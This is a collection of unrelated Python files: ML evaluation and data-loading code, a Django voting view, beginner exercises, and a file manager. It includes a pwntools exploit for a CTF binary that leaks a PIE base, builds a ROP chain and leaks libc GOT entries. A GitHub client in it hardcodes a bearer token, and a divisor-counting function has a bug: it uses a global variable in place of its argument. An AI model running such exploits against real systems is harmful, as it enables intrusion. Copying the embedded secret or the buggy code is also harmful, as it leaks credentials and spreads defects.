        pharmacyName = dataClasses.sortedLists.sortedPharmacies[pharmacyID].getName()
        supplierName = dataClasses.sortedLists.sortedSuppliers[supplierID].getName()

        outputArr.append("{} --> {} [Koszt = {} * {} = {} zł]\n".format(supplierName, pharmacyName, howMany, cost, round(howMany * cost, 2)))


#Напишите функцию number_of_factors(num), принимающую в качестве аргумента число и возвращающую количество делителей данного числа.
#Используйте уже реализованную функцию get_factors(num) из предыдущей задачи.
# объявление функции
def number_of_factors(num):
    l = []
    for i in range(1, n + 1):
        if n % i == 0:
            l.append(i)
    return len(l)

# считываем данные
n = int(input())

# вызываем функцию
print(number_of_factors(n))


import itertools

from sympy import isprime

def pandigital_prime():
    initial = "987654321"
    while True:
        for s in itertools.permutations(initial):
            n = int("".join(s))
            if isprime(n):
                return n
        initial = initial[1:]

if __name__ == "__main__":
    print(pandigital_prime())


import argparse
from tqdm import tqdm
from collections import OrderedDict

import torch
from torch.nn import functional as F
import numpy as np
from ais_bench.infer.interface import InferSession

from mobilenetv3 import MobileNetV3_Small
from data import Dataset, create_loader, compute_accuracy, AverageMeter

def adjust_checkpoint(checkpoint):
    new_state_dict = OrderedDict()
    for key, value in checkpoint.items():
        if key == "module.features.0.0.weight":
            print(value)
        if key[0:7] == "module.":
            name = key[7:]
        else:
            name = key[0:]

        new_state_dict[name] = value
    return new_state_dict

def main(args):
    # create model
    flag = args.checkpoint.split('.')[1]
    if flag == 'pth':
        checkpoint = torch.load(args.checkpoint, map_location='cpu')['state_dict']
        checkpoint = adjust_checkpoint(checkpoint)
        model = MobileNetV3_Small()
        model.load_state_dict(checkpoint)
        model.eval()
    elif flag == 'om':
        model = InferSession(args.device_id, args.checkpoint)

    # create dataloader
    loader = create_loader(
        Dataset(args.dataset_dir),
        input_size=(3, args.img_size, args.img_size),
        batch_size=args.batch_size,
        interpolation=args.interpolation,
        mean=args.mean,
        std=args.std,
        num_workers=args.workers,
        crop_pct=args.crop_pct)

    # infer and compute accuracy
    top1 = AverageMeter()
    top5 = AverageMeter()
    for i, (input_data, target) in enumerate(tqdm(loader)):
        if flag == 'pth':
            output = model(input_data)
        elif flag == 'om':
            if i == len(loader) - 1:
                input_data = F.pad(input_data, (0, 0, 0, 0, 0, 0, 0, args.batch_size-len(target)), "constant", 0)
            output = model.infer([input_data.numpy().astype(np.float16)])[0]
            if i == len(loader) - 1:
                output = output[:len(target)]
            output = torch.Tensor(output)

        # measure accuracy and record loss
        prec1, prec5 = compute_accuracy(output, target, topk=(1, 5))
        top1.update(prec1.item(), input_data.size(0))
        top5.update(prec5.item(), input_data.size(0))

    print(f'ACC: Top1@ {top1.avg:.3f} | Top5@ {top5.avg:.3f}')

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='PyTorch ImageNet Validation')
    parser.add_argument('--checkpoint', default='output/mbv3_small_bs32.om', type=str, metavar='PATH',
                        help='path to latest checkpoint')
    parser.add_argument('--dataset_dir', default='imagenet', type=str, metavar='DIR',
                        help='path to dataset')
    parser.add_argument('--batch-size', default=1, type=int,
                        metavar='N', help='mini-batch size')
    parser.add_argument('--img-size', default=224, type=int,
                        metavar='N', help='Input image dimension')
    parser.add_argument('--mean', default=(0.485, 0.456, 0.406), type=float, nargs='+', metavar='MEAN',
                        help='Override mean pixel value of dataset')
    parser.add_argument('--std', default=(0.229, 0.224, 0.225), type=float, nargs='+',  metavar='STD',
                        help='Override std deviation of of dataset')
    parser.add_argument('--crop-pct', default=0.875, type=float, metavar='PCT',
                        help='Override default crop pct of 0.875')
    parser.add_argument('--interpolation', default='bilinear', type=str, metavar='NAME',
                        help='Image resize interpolation type (overrides model)')
    parser.add_argument('--workers', default=4, type=int, metavar='N',
                        help='number of data loading workers')
    parser.add_argument('--device_id', default=0, type=int, help='device id')

    args = parser.parse_args()
    main(args)


from django.http.response import HttpResponse
from shultze.models import IssuesGraph
from issues.models import Issue, IssueRankingVote
from ocd.base_views import json_response
import json

def user_vote(committee_id, current_vote, prev_vote=[]):
    try:
        g = IssuesGraph.objects.get(committee_id=committee_id)
    except IssuesGraph.DoesNotExist:
        g = IssuesGraph.objects.create(committee_id=committee_id)
        g.initialize_graph()
    if prev_vote:
        g.add_ballots(prev_vote, reverse=True)
    g.add_ballots(current_vote)

def set_issues_order_by_votes(committee_id):
    Issue.objects.filter(committee_id=committee_id).update(order_by_votes=9999)
    try:
        g = IssuesGraph.objects.get(committee_id=committee_id)
    except IssuesGraph.DoesNotExist:
        raise

    order = g.get_schulze_npr_order_and_rating_bottom_up_sum()
    min_obj = order[0].keys()[0]
    max_obj = order[-1].keys()[0]
    min_likes = IssueRankingVote.objects.filter(issue__id=min_obj, rank__gt=1).count()
    max_likes = IssueRankingVote.objects.filter(issue__id=max_obj, rank__gt=1).count()
    normorder = g.normalize_ordered_rating_bottom_up_sum(order, min_likes, max_likes)

    issues = Issue.objects.in_bulk([i.keys()[0] for i in normorder])
    for id_entry in normorder:
        id = id_entry.keys()[0]
        issues[id].order_by_votes = id_entry[id]
        # print issues[id].title, id_entry[id]
        issues[id].save()

def send_issue_ranking(request):
    if request.POST:
        cid = request.POST['committee_id']
        current_vote = json.loads(request.POST.get('new_order'))
        prev_vote = IssueRankingVote.objects.filter(voted_by=request.user, issue__committee_id=cid).order_by('rank')

        if current_vote:
            prev_param = {'ballot': [], 'count': 1, }
            current_param = {'ballot': [], 'count': 1, }
            if prev_vote:
                prev_vote_as_list = list(prev_vote.values_list('issue_id', flat=True))
                for v in prev_vote:
                    v.delete()

                for v in prev_vote_as_list:
                    prev_param['ballot'].append([v])
                prev_param = [prev_param, ]
            else:
                prev_param = None

            for i, v in enumerate(current_vote):
                IssueRankingVote.objects.create(
                    voted_by=request.user,
                    issue_id=v,
                    rank=i
                )
                current_param['ballot'].append([v])
            remaining_issues = Issue.objects.filter(committee_id=cid, active=True).exclude(id__in=current_vote)
            # current_param['ballot'].append([issue.id for issue in remaining_issues])
            current_param = [current_param, ]
            # print current_param, prev_param
            user_vote(cid, current_param, prev_param)
            set_issues_order_by_votes(cid)
            return HttpResponse(json_response('ok'))


import os
import logging

import requests

class SimpleFluentBitHTTPInputHandler(logging.Handler):
    """A minimal handler for sending logs to the HTTP Input
    of a Fluent Bit collector."""
    def __init__(self, url, env_prefix=None):
        logging.Handler.__init__(self)
        self.url = url
        self.env_prefix = env_prefix

    def emit(self, record):
        d = {
            'log': self.format(record)
        }
        if self.env_prefix is not None:
            for envvar in os.environ:
                if envvar.startswith(self.env_prefix):
                    key = envvar[len(self.env_prefix):].lower()
                    d[key] = os.environ[envvar]
        try:
            req = requests.post(self.url, json=d)
            req.raise_for_status()
        except requests.HTTPError as e:
            self.handleError(record)


#!/usr/bin/python3

from pwn import *

"""
Constraints:
    ASLR
    PIE
    NX

Strategy:
    1. leak .text section address because of PIE
    2. compute .text section addresses to ROP to puts_plt()
    3. leak libc address of printf_got_plt
    4. leak libc address of read_got_plt

    5. use https://libc.blukat.me/ to find version of libc
    6. build final exploit with known libc version

    # 0x56559010 <printf@got.plt>:    0xf7e2f400
    # 0x5655900c <read@got.plt>:      0xf7ec8cf0
    # 0x56557080 "hmmmm... %s?\n"
"""

context.log_level = 'debug'

def generate_payload(leaked_libc_csu):
    binary_base_addr = leaked_libc_csu - 0x12ab
    print("binary base = ", hex(binary_base_addr))

    puts_plt_addr = binary_base_addr + 0x1078
    print("puts plt = ", hex(puts_plt_addr))

    printf_got_plt_addr = binary_base_addr + 0x4010
    print("printf got plt = ", hex(printf_got_plt_addr))

    read_got_plt_addr = binary_base_addr + 0x400c
    print("read got plt = ", hex(read_got_plt_addr))

    payload = b""
    payload += b"A"*36
    payload += p32(binary_base_addr + 0x4000) # ebx
    payload += p32(binary_base_addr + 0x4000) # ebx
    payload += p32(puts_plt_addr) # eip
    payload += p32(puts_plt_addr) # eip
    payload += p32(printf_got_plt_addr) # printf_got_plt
    #payload += p32(binary_base_addr + 0x2080) # "hmmmm... %s?\n"
    payload += p32(read_got_plt_addr)
    return payload

def main():
    #target = process("./leakalicious")
    target = remote("chal.tuctf.com", 30505)

    prompt = target.recvuntil(b"> ")
    fmt_str = b"A"*3

    """
    read(stdin, user_input, 64);
    printf("hmmm... %s?", user_input);

       printf will stop at 0x00 bytes, so
       we fill the user_input buffer right before a couple
       of continous pointers in memory
       AAA\n...0xf7fe42d0 0x00000000

    0xffffd2a4:     0xffffd364      0xffffd36c      0x565562ab      0xf7fe42d0
    0xffffd2b4:     0x00000000
    """
    # Leak 0x565562ab <__libc_csu_init+27>:        0xfeecb38d
    target.sendline(fmt_str)
    leaked_libc_csu = u32(target.recvuntil(b"> ").split(b"\n")[1][8:12])
    print("__libc_csu_init+27 = ", hex(leaked_libc_csu))

    payload = generate_payload(leaked_libc_csu)
    target.sendline(payload)
    target.recvuntil(b"> ")

    target.sendline()
    """
    leaked:
        read@got.plt
        printf@got.plt
        __libc_start_main@got.plt

    [DEBUG] Received 0xe bytes:
    00000000  70 e6 de f7  40 d5 db f7  60 53 e0 f7  0a 0a        │p···│@···│`S··│··│
    0000000e
    p\xe6\xde\xf7@\xd5\xdb\xf7`S\xe0\xf7
    """
    target.interactive()

main()


from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import os
import tensorflow as tf

def tiny_imagenet_parser(value, image_size, add_augmentation, one_hot, label_smooth):
    """
    tf.Records parser for tiny ImageNet

    Parameters
    ----------
      value : tf.Tensor
        A scalar string tensor ecoding a single example
      image_size : int
        size of the image.
      add_augmentation : bool
        if True then do training preprocessing (which includes
        random cropping), otherwise do no preprocessing.
      one_hot : bool
        if True return the labels one-hot encoded
      label_smooth: float
        The degree of label smoothing applied

    Returns
    -------
      image : tf.Tensor
        tensor with the image.
      label: tf.Tensor
        tensor with true label of the image.
    """
    keys_to_features = {
        "image/encoded": tf.io.FixedLenFeature((), tf.string, ""),
        "label/tiny_imagenet": tf.io.FixedLenFeature([], tf.int64, -1),
    }

    parsed = tf.io.parse_single_example(value, keys_to_features)

    image_buffer = tf.reshape(parsed["image/encoded"], shape=[])
    image = tf.image.decode_image(image_buffer, channels=3)
    image = tf.image.convert_image_dtype(image, dtype=tf.float32)

    # Crop image
    if add_augmentation:
        bbox_begin, bbox_size, _ = tf.image.sample_distorted_bounding_box(
            tf.shape(image),
            bounding_boxes=tf.constant(
                [0.0, 0.0, 1.0, 1.0], dtype=tf.float32, shape=[1, 1, 4]
            ),
            min_object_covered=0.5,
            aspect_ratio_range=[0.75, 1.33],
            area_range=[0.5, 1.0],
            max_attempts=20,
            use_image_if_no_bounding_boxes=True,
        )
        image = tf.slice(image, bbox_begin, bbox_size)
        # Data augmentation
        image = tf.image.random_flip_left_right(image)
        image = tf.image.random_saturation(image, 0.5, 2.0)

    # resize image
    image = tf.compat.v1.image.resize_bicubic([image], [image_size, image_size])[0]
    image = tf.reshape(image, [image_size, image_size, 3])
    image = tf.clip_by_value(image, 0, 1)

    # Labels are in [0, 199] range
    label = tf.cast(tf.reshape(parsed["label/tiny_imagenet"], shape=[]), dtype=tf.int32)
    if one_hot:
        label = tf.one_hot(label, depth=200)
        if label_smooth > 0.0:
            label = tf.clip_by_value(label, label_smooth / 199.0, 1.0 - label_smooth)

    return image, label

def load_tiny_imagenet_dataset(
    path,
    batch_size,
    image_size,
    add_train_augmentation=False,
    one_hot=False,
    label_smooth=0.0,
    augment_func=None,
):
    """
    Load Tiny ImageNet as tf.data.Dataset

    Parameters
    ----------
    path : str
        A string specifying the path of the tiny ImageNet dir
    batch_size: size of the minibatch
    image_size: size of the one side of the image. Output images will be
        resized to square shape image_size*image_size
    add_train_augmentation : bool, default False
        if True the train dataset is augmented with cropping, flips
        and saturation
    one_hot : bool
        if True return the labels one-hot encoded
    label_smooth: float
        The degree of label smoothing applied
    augment_func: callable
        Augmentation function that will be applied via dataset.map

    Returns
    -------
        tf.data.Dataset, tf.data.Dataset
            train_dataset, test_dataset as tf.data.Dataset
            Images are normalized to [0,1]

    """
    train_path = os.path.join(path, "train.tfrecord")
    validation_path = os.path.join(path, "validation.tfrecord")

    train_dataset = tf.data.TFRecordDataset(train_path, buffer_size=8 * 1024 * 1024)
    validation_dataset = tf.data.TFRecordDataset(
        validation_path, buffer_size=8 * 1024 * 1024
    )
    label_shape = [batch_size, None] if one_hot else [batch_size]

    def set_shapes(images, labels):
        """Statically set the batch_size dimension."""
        images.set_shape(
            images.get_shape().merge_with(
                tf.TensorShape([batch_size, None, None, None])
            )
        )
        labels.set_shape(labels.get_shape().merge_with(tf.TensorShape(label_shape)))
        return images, labels

    datasets = [train_dataset, validation_dataset]
    add_augmentation = [add_train_augmentation, False]

    for i in range(len(datasets)):
        datasets[i] = datasets[i].apply(
            tf.data.experimental.map_and_batch(
                lambda value: tiny_imagenet_parser(
                    value, image_size, add_augmentation[i], one_hot, label_smooth
                ),
                batch_size=batch_size,
                num_parallel_batches=4,
                drop_remainder=True,
            )
        )

        # Assign static batch size dimension
        datasets[i] = datasets[i].map(set_shapes)
        if augment_func is not None:
            datasets[i] = datasets[i].map(augment_func)
        datasets[i] = datasets[i].prefetch(tf.contrib.data.AUTOTUNE)

    return datasets[0], datasets[1]


#1、求给定数的阶乘
#def jiecheng(n):
     #if n == 0 or n ==1:
          #return 1
     #else:
         # return n * jiecheng(n-1)
#print(jiecheng(6))

#2、单利公式
#def danli():
     #p=input("请输入本金P：")
     #t=input("请输入时间T:")
     #r=input("请输入利率r:")
     #c=float((float(p)*float(t)*float(r))/100)
     #print("单利是: %d" %(c))
#danli()

#3、查找数组中的最大元素
#list=[14,25,98,75,23,1,4,56,59]
#list.sort()
#print(list[-1])

#4、求数组前n个数的平方和
#lis1=[14,25,98,75,23,1,4,56,59]
#s=0
#n=int(input("计算前n个数,n为："))
#m=list(lis1[:n])
#if n <9:
     #for x in m:
          #x=x**2
          #s+=x
     #print("平方和为: %d" %(s))

#else:
     #print("抱歉，n为正整数且不能大于数组长度9,请重新输入。")

#交换列表中的任意两个元素：
lis1=[14,25,98,75,23,1,4,56,59]
m=int(input("请输入位置一："))
n=int(input("请输入位置二："))
x=lis1[m]
y=lis1[n]
lis1[n]=x
lis1[m]=y
print(lis1)


from pathlib import Path
from typing import Dict, List, Optional

import yaml
from pydantic import BaseModel

import insurance_claim_model

PACKAGE_ROOT = Path(insurance_claim_model.__file__).resolve().parent
ROOT = PACKAGE_ROOT.parent
CONFIG_FILE_PATH = PACKAGE_ROOT / "config.yml"
DATASET_DIR = PACKAGE_ROOT / "datasets"
TRAINED_MODEL_DIR = PACKAGE_ROOT / "trained_models"

class AppConfig(BaseModel):

    package_name: str
    training_data_file: str
    testing_data_file: str
    pipeline_save_file: str

class ModelConfig(BaseModel):

    categorical_na: List[str]
    numerical_na: List[str]
    categorical_vars: List[str]
    numerical_vars: List[str]
    features: List[str]
    drop_columns: List[str]
    target: str
    test_size: float
    random_state: int
    n_estimators: int
    max_depth: int

class Config(BaseModel):
    app_config: AppConfig
    model_config: ModelConfig

def find_config_file() -> Path:

    if CONFIG_FILE_PATH.is_file():
        return CONFIG_FILE_PATH

    raise Exception(f"Config file is not at this path: {CONFIG_FILE_PATH}")

def fetch_config_file(cfg_path: Optional[Path] = None) -> Dict:

    if not cfg_path:
        cfg_path = find_config_file()

    if cfg_path:
        with open(cfg_path) as conf_file:
            config = yaml.safe_load(conf_file)
        return config

    raise Exception(f"Config file is not at this path: {CONFIG_FILE_PATH}")

def create_and_validate_config(parsed_config: Optional[Dict] = None) -> Config:

    if parsed_config is None:
        parsed_config = fetch_config_file(CONFIG_FILE_PATH)

    _config = Config(
        app_config=AppConfig(**parsed_config), model_config=ModelConfig(**parsed_config)
    )

    return _config

config = create_and_validate_config()


import os
import opts
import json
from PIL import Image
import subprocess
import platform
import shutil

from constants import VIDEO_FNAME, VIDEO_META_FNAME

output_path = os.path.join(os.path.dirname(__file__), opts.global_opts.outpath)
ops = ['txt2img', 'img2img', 'img2vid', 'editing']

op_opt_keys = {
    # "txt2img": [k for k in opts.txt2img_opts_dict.keys() if k not in ['num_batches']],
    "txt2img": list(opts.txt2img_opts_dict.keys()),
    "img2img": list(opts.img2img_opts_dict.keys()),
    "img2vid": list(opts.img2vid_opts_dict.keys()),
    "editing": list(opts.editing_opts_dict.keys()),
}

def is_video(op) -> bool:
    return op == 'img2vid'

def get_start_idx(op) -> int:
    if is_video(op):
        return num_video(get_op_path(op))
    else:
        return num_with_ext(get_op_path(op), "png")

def make_output_dir():
    for op in ops:
        op_path = get_op_path(op)
        os.makedirs(op_path, exist_ok=True)

def num_with_ext(path, ext) -> int:
    return len([f for f in os.listdir(path) if f.endswith(ext)])

def num_video(path) -> int:
    return len([f for f in os.listdir(path) if f.startswith('vid_')])

def get_op_path(op) -> str:
    assert op in ops, f"op {op} not in {ops}"
    return os.path.join(output_path, op)

def get_folder_path(op, folder_id) -> str:
    op_path = get_op_path(op)
    folder_name = idx_video_folder(op, folder_id)
    folder_path = os.path.join(op_path, folder_name)
    # print('found folder path id', folder_id, folder_path)
    return folder_path

def prefix_str(idx) -> str:
    return f"{idx:05d}"

def idx_name(op, idx, ext=None) -> str:
    # open the directory and load list of all .png files
    # sort png files by name
    # if idx is in the list, return the name
    # else, return int(name of last file) + (idx - len(list)) + 1
    files = os.listdir(get_op_path(op))
    files = sorted([f for f in files if f.endswith('.png')])
    if idx < len(files):
        prefix = int(files[idx].split('.')[0])
    elif len(files) == 0:
        prefix = idx
    else:
        prefix = int(files[-1].split('.')[0]) + (idx - len(files)) + 1
    if ext is None:
        return prefix_str(prefix)
    return f"{prefix_str(prefix)}.{ext}"

def idx_video_folder(op, idx, full_name=True) -> str:
    assert is_video(op)
    files = os.listdir(get_op_path(op))
    files = sorted([f for f in files if f.startswith('vid_')])
    if idx < len(files):
        prefix = int(files[idx].split('_')[1])
    elif len(files) == 0:
        prefix = idx
    else:
        prefix = int(files[-1].split('_')[1]) + (idx - len(files)) + 1
    if full_name:
        return f"vid_{prefix_str(prefix)}"
    return prefix_str(prefix)

def job_to_start_idx(op, job_id):
    name_ids = [int(f.split('.')[0])
                for f in os.listdir(get_op_path(op)) if f.endswith('.png')]
    return len([i for i in name_ids if i < job_id])

def save_img(img, opt, **kwargs):
    assert opt.context in ops
    op = opt.context
    op_path = get_op_path(op)
    idx = num_with_ext(op_path, "png")
    prefix = idx_name(op, idx)
    print('saving new image', idx, prefix)
    print(os.path.join(op_path, prefix+'.png'))
    img.save(os.path.join(op_path, prefix+'.png'))
    meta = {k: v for k, v in kwargs.items()}
    for k in op_opt_keys[opt.context]:
        meta[k] = getattr(opt, k)
    meta['job_id'] = int(prefix) - meta['idx_in_job']
    with open(os.path.join(op_path, prefix+'.json'), "w") as f:
        json.dump(meta, f)
    return img, meta, idx

def save_img2vid_data(op, meta):
    assert op == 'img2vid'
    folder_id = len(os.listdir(get_op_path(op)))
    folder_path = get_folder_path(op, folder_id)
    os.makedirs(folder_path, exist_ok=True)
    with open(os.path.join(folder_path, VIDEO_META_FNAME), "w") as f:
        json.dump(meta, f)

def save_img2vid_img(img, opt, folder_id):
    op = opt.context
    assert op == 'img2vid'
    folder_path = get_folder_path(op, folder_id)
    idx = num_with_ext(folder_path, "png")
    fname = f'{prefix_str(idx)}.png'
    print('saving new image', idx, fname)
    img.save(os.path.join(folder_path, fname))
    return img, idx

def create_video(opt, folder_id):
    op = opt.context
    assert op == 'img2vid'
    folder_path = get_folder_path(op, folder_id)
    img_path = f'{folder_path}/%05d.png'
    vid_path = f'{folder_path}/video.mp4'
    if platform.system() != 'Windows':
        img_path = f'"{img_path}"'
        vid_path = f'"{vid_path}"'
    cmd = f'ffmpeg -y -vcodec png -r {opt.frame_rate} -i "IMGPATH" -c:v libx264 -vf fps={opt.frame_rate} -pix_fmt yuv420p -crf 17 -preset veryfast "VIDPATH"'
    cmd = cmd.split()
    cmd[cmd.index('"IMGPATH"')] = img_path
    cmd[cmd.index('"VIDPATH"')] = vid_path
    print('video command:', ' '.join(cmd))
    process = subprocess.Popen(
        cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    stdout, stderr = process.communicate()
    if process.returncode != 0:
        print(stderr)
        raise RuntimeError(stderr)
    print('video created successfully.')

def load_img(idx, op):
    assert op in ops
    op_path = get_op_path(op)
    name_str = idx_name(op, idx)
    print('loading image', idx, name_str)
    name_id = int(name_str)
    img = Image.open(os.path.join(op_path, name_str+'.png'))
    with open(os.path.join(op_path, name_str+'.json'), "r") as f:
        meta = json.load(f)
    # meta['name_id'] = name_id
    # meta['job_id'] = name_id - meta['idx_in_job']
    return img, meta, idx

def load_vid(idx, op):
    assert op in ops
    folder_path = get_folder_path(op, idx)
    print('loading vid', idx, folder_path)
    with open(os.path.join(folder_path, VIDEO_META_FNAME), "r") as f:
        meta = json.load(f)
    with open(os.path.join(folder_path, VIDEO_FNAME), "rb") as f:
        mov = f.read()
    return mov, meta, idx

def delete_video(idx, op):
    assert is_video(op)
    op_path = get_op_path(op)
    name_str = idx_video_folder(op, idx)
    shutil.rmtree(os.path.join(op_path, name_str))
    return None, None

def delete_image(idx, op):
    assert op in ops
    if is_video(op):
        return delete_video(idx, op)
    op_path = get_op_path(op)
    name_str = idx_name(op, idx)
    with open(os.path.join(get_op_path(op), name_str+'.json'), 'r') as f:
        meta = json.load(f)
        job_id = meta['job_id']
    with open(os.path.join(get_op_path(op), f'batch_{prefix_str(job_id)}.json'), 'r') as f:
        job_meta = json.load(f)
    job_meta['job_size'] -= 1
    with open(os.path.join(get_op_path(op), f'batch_{prefix_str(job_id)}.json'), 'w') as f:
        json.dump(job_meta, f)
    os.remove(os.path.join(op_path, name_str+'.png'))
    os.remove(os.path.join(op_path, name_str+'.json'))
    return job_id, job_meta


import http.client
import json

class Conexao:

	def __init__(self):
		pass

	def criaConexaoComServidor(self):
		return http.client.HTTPSConnection('api.github.com', 443)

	def criaCabecalho(self):
		cabecalho = {
			'Content-type': 'application/json',
			'User-Agent': 'gabrielsmenezes',
			'Authorization': 'Bearer 8b28dd386d92b833e1a6dce7b22fc7fbafa88195'
		}
		return cabecalho;

	def criaCorpoDaRequisicao(self, owner, repositorio):
		# return {"query":"query($nomeDoRepositorio:String!, $dono: String!){\n  repository (name: $nomeDoRepositorio, owner: $dono) {\n    name\n    stargazers{\n      totalCount\n    }\n    watchers{\n      totalCount\n    }\n    issues{\n      totalCount\n    }\n    forkCount\n    diskUsage\n    ref(qualifiedName: \"master\"){\n      target{\n        ... on Commit{\n          history{\n            totalCount\n          }\n        }\n      }\n    }\n    pullRequests () {\n      totalCount\n    }\n    updatedAt\n    projects{\n      totalCount\n    }\n    nameWithOwner\n  }\n}","variables":{"dono": owner,"nomeDoRepositorio": repositorio}}
		return {"query" : "query($nomeDoRepositorio:String!,$dono:String!){repository(name:$nomeDoRepositorio,owner:$dono) { stargazers { totalCount } defaultBranchRef{target{... on Commit{ history{ totalCount }}}}}}","variables":{"dono": owner,"nomeDoRepositorio": repositorio}}

	def retornaRepositorio(self, owner, repositorio):
		connection = self.criaConexaoComServidor()

		cabecalho = self.criaCabecalho()
		corpoDaRequisicao = self.criaCorpoDaRequisicao(owner, repositorio)
		corpoDaRequisicaoEmJSON = json.dumps(corpoDaRequisicao)

		connection.request('POST', "/graphql",
			corpoDaRequisicaoEmJSON, cabecalho)

		response = connection.getresponse()

		respostaEmJson = json.loads(response.read().decode());

		objetoRetornado = respostaEmJson['data']

		repositorio = objetoRetornado

		return repositorio;